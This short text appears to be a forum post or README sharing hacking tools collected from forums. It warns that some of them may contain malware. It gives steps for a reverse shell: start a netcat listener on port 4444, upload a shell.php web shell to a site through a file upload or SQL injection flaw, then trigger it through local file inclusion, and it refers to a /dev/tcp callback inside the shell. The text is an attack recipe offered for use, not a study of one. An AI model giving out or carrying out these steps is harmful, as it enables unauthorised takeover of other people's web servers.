Enjoy! :)
Run this on a Sandboxie or an RDP, as some might contain malicious software. I found these on forums and websites, so I am not responsible for anything that happens, if you decide to run them on your own pc.
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First, listen for incoming connections: nc -l -p 4444
Upload shell.php to a site via file upload vulnerability or sqli, view shell.php via url in browser thanks to LFI(Local File Inclusion) vulnerability and get reverse shell!
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Note: Remove "#(/dev/tcp/ip/port)" from shell.php